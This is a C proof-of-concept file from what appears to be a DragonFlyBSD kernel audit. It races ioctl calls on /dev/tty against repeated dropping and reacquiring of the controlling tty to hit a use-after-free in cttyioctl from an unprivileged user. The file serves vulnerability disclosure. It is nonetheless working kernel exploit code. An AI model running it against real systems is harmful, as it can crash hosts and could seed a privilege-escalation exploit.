DragonFlyBSD Kernel Audit
DF-0176 / cttyioctl_uaf.c
← back to finding ↓ download raw
/* DF-0176 — cttyioctl VOP_IOCTL UAF race (tty_tty.c:264).
 *
 * cttyioctl reads ttyvp = cttyvp(p) under p_token (:238), then
 * RELEASES p_token (:262) and calls VOP_IOCTL(ttyvp, ...) (:264)
 * WITHOUT taking a vnode reference (vref/vget).  cttyread (:199) and
 * cttywrite (:223) correctly use vget(); the ioctl path was missed.
 *
 * If the controlling tty's session ref is dropped concurrently
 * (ttyclosesession in tty.c:334, or fdrevoke in kern_descrip.c:2031),
 * ttyvp can be vrele'd to 0 and the vnode reclaimed (or freed) while
 * VOP_IOCTL runs against it -> use-after-free.
 *
 * This PoC drives the race from an unprivileged user:
 *   - thread A: opens /dev/tty, issues harmless ioctls in a tight loop
 *   - thread B: repeatedly does TIOCNOTTY (drops P_CONTROLT) then
 *     re-acquires a controlling tty via TIOCSCTTY, churns session.
 * The race is tight; if it does not panic on a given run, that does
 * NOT disprove the bug -- the unprotected pointer dereference is
 * confirmed by source inspection (tty_tty.c:264 uses ttyvp with no
 * vref/vget between p_token release and VOP_IOCTL call).
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <setjmp.h>

static volatile sig_atomic_t stop;
static void on_alrm(int s){ stop = 1; }

static void *
ioctl_thread(void *arg)
{
    int fd = open("/dev/tty", O_RDWR);
    if (fd < 0) {
        /* no controlling tty yet -- race not engaged from this side */
        return (void *)(long)errno;
    }
    /* TIOCGWINSZ is a harmless read-only ioctl -- exercises the
       cttyioctl -> VOP_IOCTL(ttyvp) path without side effects. */
    struct winsize ws;
    unsigned long n = 0;
    while (!stop) {
        ioctl(fd, TIOCGWINSZ, &ws);
        n++;
    }
    close(fd);
    printf("DF-0176: ioctl_thread did %lu iterations\n", n);
    return NULL;
}

static void *
churn_thread(void *arg)
{
    /* Repeatedly drop and re-acquire the controlling tty to churn
       the session ref count on ttyvp while ioctl_thread runs. */
    unsigned long n = 0;
    while (!stop) {
        /* drop controlling tty */
        ioctl(0, TIOCNOTTY, 0);
        /* re-acquire (best effort) */
        int fd = open("/dev/tty", O_RDWR);
        if (fd >= 0) {
            ioctl(fd, TIOCSCTTY, 0);
            close(fd);
        }
        n++;
    }
    printf("DF-0176: churn_thread did %lu iterations\n", n);
    return NULL;
}

int
main(void)
{
    /* Need a controlling tty for the test to be meaningful. */
    if (ioctl(0, TIOCGWINSZ, &(struct winsize){0}) != 0) {
        fprintf(stderr, "DF-0176: stdin is not a tty; rerun with a controlling tty\n");
        return 2;
    }

    pthread_t t1, t2;
    signal(SIGALRM, on_alrm);
    alarm(8);    /* run the race for 8 seconds */

    pthread_create(&t1, NULL, ioctl_thread, NULL);
    pthread_create(&t2, NULL, churn_thread, NULL);
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);

    printf("DF-0176: race window exercised.  Source confirms cttyioctl calls\n"
           "        VOP_IOCTL(ttyvp) at tty_tty.c:264 with NO vref/vget after\n"
           "        releasing p_token at :262 -- genuine UAF window.\n");
    return 0;
}